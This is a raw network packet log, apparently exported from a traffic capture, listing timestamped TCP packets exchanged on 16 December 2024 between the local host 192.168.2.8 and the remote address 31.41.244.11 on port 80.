Dec 16, 2024 13:16:21.785121918 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.785196066 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.785339117 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.785379887 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.787105083 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.787153959 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.787193060 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.787231922 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.789115906 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.789165020 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.789266109 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.789307117 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.791189909 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.791255951 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.791279078 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.791325092 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.793236971 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.793308020 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.793355942 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.793395042 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.795209885 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.795295954 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.795341015 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.795387030 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.797276974 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.797348022 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.797532082 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.797575951 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.799351931 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.799402952 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.799432993 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.799474955 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.801363945 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.801424026 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.801476002 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.801518917 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.803335905 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.803389072 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.803428888 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.803473949 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.805342913 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.805413008 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.805444002 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.805490017 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.807398081 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.807463884 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.807482004 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.807526112 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.809453011 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.809516907 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.809556007 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.809598923 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.811476946 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.811537027 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.811650991 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.811693907 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.813512087 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.813582897 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.813649893 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.813694000 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.815571070 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.815649033 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.815690994 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.815732956 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.817568064 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.817629099 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.817673922 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.817713976 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.819572926 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.819622040 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.819678068 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.819720984 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.821650982 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.821701050 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.821741104 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.821784019 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.823652029 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.823699951 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.823743105 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.823784113 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.825691938 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.825748920 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.825793982 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.825850010 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.827790022 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.827851057 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.827918053 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.827958107 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.829790115 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.829857111 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.829896927 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.829935074 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.831855059 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.831914902 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.831912994 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.831955910 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.833909988 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.833929062 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.833992958 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.834076881 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.835886955 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.835968971 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.835993052 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.836035013 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.837992907 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.838042974 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.838063002 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.838104010 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.839904070 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.839962006 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.840034962 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.840078115 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.925400972 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.925518990 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.925575972 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.925630093 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.926290989 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.926357031 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.926388979 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.926428080 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.928035975 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.928083897 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.928220987 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.928266048 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.929745913 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.929794073 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.930047989 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.930089951 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.931466103 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.931510925 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.931560993 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.931602001 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.933242083 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.933290005 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.933310986 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.933352947 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.934897900 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.934945107 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.934953928 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.934994936 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.936530113 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.936552048 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.936598063 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.936616898 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.938180923 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.938227892 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.938296080 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.938338995 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.939785004 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.939830065 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.939919949 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.939961910 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.942698956 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.942751884 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.942857981 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.942898989 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.943109989 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.943151951 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.943157911 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.943195105 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.944561958 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.944610119 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.944679976 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.944721937 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.946763039 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.946826935 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.946933985 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.946975946 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.947822094 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.947865009 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.947932959 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.947973013 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.949259996 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.949306965 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.949347973 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.949387074 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.950759888 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.950807095 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.950871944 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.950927019 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.952295065 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.952343941 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.952361107 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.952400923 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.953772068 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.953825951 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.953860044 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.953901052 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.955200911 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.955260992 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.955302000 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.955343962 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.956690073 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.956749916 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.956782103 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.956824064 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.958126068 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.958206892 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.958249092 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.958290100 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.959624052 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.959682941 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.959728956 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.959770918 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.961054087 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.961111069 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.961256027 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.961298943 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.962570906 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.962620020 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.962631941 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.962671995 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.963962078 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.964008093 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.964049101 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.964087009 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.965547085 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.965591908 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.965679884 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.965719938 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.967048883 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.967099905 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.967145920 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.967186928 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.968153000 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.968215942 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.968278885 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.968322039 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.969561100 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.969610929 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.969666004 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.969707966 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.970938921 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.970988989 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.971071005 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.971112013 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.972346067 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.972395897 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.972415924 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.972455025 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.973731041 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.973782063 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.973830938 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.973877907 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.975188017 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.975236893 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.975712061 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.975758076 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.976634979 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.976680994 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.976856947 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.976900101 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.977991104 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.978035927 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.978105068 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.978147030 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.979382038 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.979465961 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.979569912 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.979613066 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.980845928 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.980901003 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.980967045 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.981009960 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.982276917 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.982333899 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.982604027 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.982649088 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.983792067 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.983850956 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.983891964 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.983935118 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.985099077 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.985151052 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.985239983 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.985281944 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.986397028 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.986447096 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.986459970 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.986501932 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.987812996 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.987863064 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.987900972 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.987945080 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.989257097 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.989311934 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.989497900 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.989543915 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.990758896 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.990794897 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.990827084 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.990845919 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.992048025 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.992100000 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.992166042 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.992208004 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.993427038 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.993475914 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.993482113 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.993522882 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.994848967 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.994903088 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.995014906 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.995057106 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.996301889 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.996350050 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.996449947 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.996490955 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.997693062 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.997741938 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.997850895 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.997894049 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.999094009 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.999154091 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:21.999202013 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:21.999241114 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.000514030 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.000566006 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.000750065 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.000791073 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.001961946 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.002027988 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.002078056 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.002119064 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.003321886 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.003372908 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.117151022 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.117203951 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.117408037 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.117408037 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.117696047 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.117712975 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.117775917 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.118555069 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.118607044 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.118659973 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.118700981 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.119677067 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.119725943 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.119801998 CET	80	49724	31.41.244.11	192.168.2.8
